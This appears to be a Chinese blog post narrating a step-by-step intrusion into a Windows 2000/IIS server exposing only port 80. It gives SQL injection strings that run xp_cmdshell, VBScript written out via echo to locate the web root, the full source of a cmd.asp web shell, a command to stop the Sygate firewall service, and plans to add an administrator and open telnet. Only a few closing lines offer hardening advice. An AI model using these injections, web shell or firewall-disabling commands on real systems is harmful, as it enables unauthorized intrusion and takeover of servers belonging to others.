只开80端口主机的入侵思路

 主机配置:win2kserver(sp3)+sygate personal firewall pro 
安全设置:不说啦太**了竟然只允许80进 


扫描:先用x-scan2.3扫端口晕只开80,然后又扫了一遍 
唉还是一样的结果,看来管理员也不算笨啊! 

检查系统洞洞:先ping了一下竟然ping不通,不过有刚才的扫描结果就很明 
白了应是iis5再加上网页上明显用的asp这样的主机当然是win2k不用 
说咯. 

分析:唉也没什么可以分析咯只能从80入手,看看上面都有些什么东东 
有一个查询系统输入单引号试试,返回 
错误类型: 
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) 
/mingce/student1.asp, 第 30 行 

看来运气也不算太坏嘛........应该有sql注入的毛病......... 
为了进一步确认试试运气输http://x.x.x.x//mingce/student1.asp.BAK 
的确可以正确提交哟返回如下: 

if request.form("xsxm")="" and request.form("xsxh")="" then 
Set Conn=Server.CreateObject("ADODB.Connection") 
Conn.Open "Driver={sql server};Server=localhost;Database=xxxx;UID=sa;PWD="&application("mm_xxx") 

比较长只是上面三行最重要了:我们可以看出ASP后台程序没用对用户提交进行任何的 
过滤,同时数据库用的ADODB.Connection对象(如果是ADODB.Command就算没有过滤 
特殊符号也不行的),当然也可以看出数据库使用的sa来连接的! 

(Tip:其实就算我们看不到ASP的源代码我们也可以试试xp_cmdshell ‘iisreset /reboot‘ 
或是xp_cmdshell ‘ping 你.的.I.P‘,如果第一个命令能执行成功那么在半分钟之内远程 
系统会重启一次的,第二个命令你自已的机子的防火墙通常会提示来至x.x.x.x的主机向你 
发送ICMP数据,不过对于这种禁止任何数据出的主机第二个命令可能也不行哟) 


好了通过上面的分析我们可以做什么呢: 
通过在web页以管理员的身份来执行系统命令(不过没有回显的) 
如果是一般的系统主机简单了xp_cmdshell ‘net user .....‘我就不写了 
但是我们现在环境是系统只开了80端口,就算我们能加ADMIN用户也没用三 
以前通常只要开个139/445/135就可以远程管理了不过现在不行. 

我的思路: 
1)找到web目录的路径 
2)写入一个简单的cmd.asp用来找到防火墙的具体名字 
3)通过xp_cmdshell来关闭防火墙服务 


具体实现: 
第一步明显是最难的咯 
我本来打算用admins cripts里面的建web站的方式建一个我自已的可执行目录的 
结果不行哟.然后就想到了使用adsutil.vbs程序我是这样执行的 
a‘;exec master..xp_cmdshell ‘cmd /c cs cript c:/inetpub/adminscrips/adsutil.vbs enum w3svc/1/root>a.txt‘;-- 
是不是很长啦:)通过它我们可以把iis里面第一个虚拟web站点的设置情况(当然包括它所在的实际目录咯)导入到a.txt中 
对于a.txt的实际位置默认当然是c:/winnt/system32,其实这都不是问题,不过遇到管理员把adsutil.vbs删了或是放到别 
的地方我们就没办法了(不可能自已用echo 命令写一个吧) 

第二步:用echo命令写下面的代码到c:/中,很多吗也不算吧:) 

.....xp_cmdshell ‘echo set fso1=createobject("s cripting.filesystemobject")>c:/read.vbs‘;-- 
.....xp_cmdshell ‘echo Set WshShell = Ws cript.CreateObject("Ws cript.Shell")>>c:/read.vbs‘;-- 
..... 
-------------------read.vbs--------------------------------- 
set fso1=createobject("s cripting.filesystemobject") 
Set WshShell = Ws cript.CreateObject("Ws cript.Shell") 
spa=WshShell.Environment("process")("windir") 
set fil =fso1.opentextfile(spa & "/system32/aa.txt") 
do while not fil.atendofstream 
nr=fil.readline 
if left(nr,4)="Path" then 
pa=mid(nr,instr(nr,")")+3,len(nr)-instr(nr,")")-3) 
exit do 
end if 
loop 
set fil1 =fso1.opentextfile(pa&"/dd.asp",2,true) 
fil1.writeline "<%response.write request.servervariables(""APPL_PHYSICAL_PATH"")%>" 
---------------cut here-------------------------------------- 

第三步:当然就是执行read.vbs三,这样我们可以把aa.txt中的内容读出来找到web站点的实际路径 
然后写一个叫dd.asp的文件在web站的根目录中,能否成功试试就知道咯 
执行http://x.x.x.x/dd.asp 
返回:d:/xxx 

看来我运气就是不错的哈(其实有个问题是我们找的第一个web站点可能并不能通过x.x.x.x来仿问) 

第四步:就是用echo命令生成cmd.asp,唉也不算长嘛也就20行而已 
其实在有的网站上(通常是虚拟主机)cmd.asp是不能执行的,不过这台主机是独立的服务器 
所以管理员就没有禁止了 

--------------------------cmd.asp------------------------------ 
<%On Error Resume Next
Set os cript = Server.CreateObject(""Ws cript.SHELL"")
Set os criptNet = Server.CreateObject(""Ws cript.NETWORK"")
Set oFileSys = Server.CreateObject(""s cripting.FileSystemObject"")
szCMD = Request.Form("".CMD"")
If (szCMD <> """")Then 
szTempFile = ""C:/" & oFileSys.GetTempName() 
Call os cript.Run (""cmd.exe /c "" & szCMD & "" > "" & szTempFile, 0, True) 
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) 
End If %> 
<HTML><BODY><FORM action=""<%= Request.ServerVariables(""URL"")%>"" method=""POST""> 
<input type=text name="".CMD"" size=45 value=""<%= szCMD %>""><input type=submit value=""Run""> 
</FORM><PRE> 
<% If (IsObject(oFile))Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If%> 
</BODY></HTML> 
-----------------------cut here-------------------------------- 
   
第五步:执行cmd.asp三,这样我们可以找到系统上到底安的是什么防火墙,找啊找没多久我找到了 
e:/progra~1/sygate/spf,就是它不用说了嘛sygate personal firewall pro(具体版本在cmd.asp 
里执行echo readme.txt不就明白了) 

第六步:关闭sygate的防火墙 
a‘;exec master..xp_cmdshell ‘net stop smcservice‘;-- 
(smcservice是sygate防火墙的服务名) 

第七步:看一看成功了吗?用x-scan扫,现在就对了三53,139,135,1433......都出来了 
第八步:添加系统管理员打开telnet............ 


唉打了半天反正就是这样了...其实我想应该还有好的办法只是我没想到吧....... 
比如说用echo命令写一个ftp脚本来下载一个httptunel之类的程序然后再打开telnet 
....当然你也可能想得到更简单的办法就是猜web站点的实际目录...... 
IIS有一个lockdown工具,会写定比较严格的Acls到www的目录,会好一点。 

我觉得2k比想象中的可靠的多(甚至比Linux安全) 

一般来讲先用它的TCP/IP筛选要服务的端口(80),如果有必要再用IPSec做一些策略,就可以很好的防范各种攻击了。(不含dos) 

我的理论是,就算你能够利用漏洞获得权限,但是不让你建立连接(不能传东西上来),就算你用www传东西上来,也不给你shell,照样没有办法干掉我。  

 
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值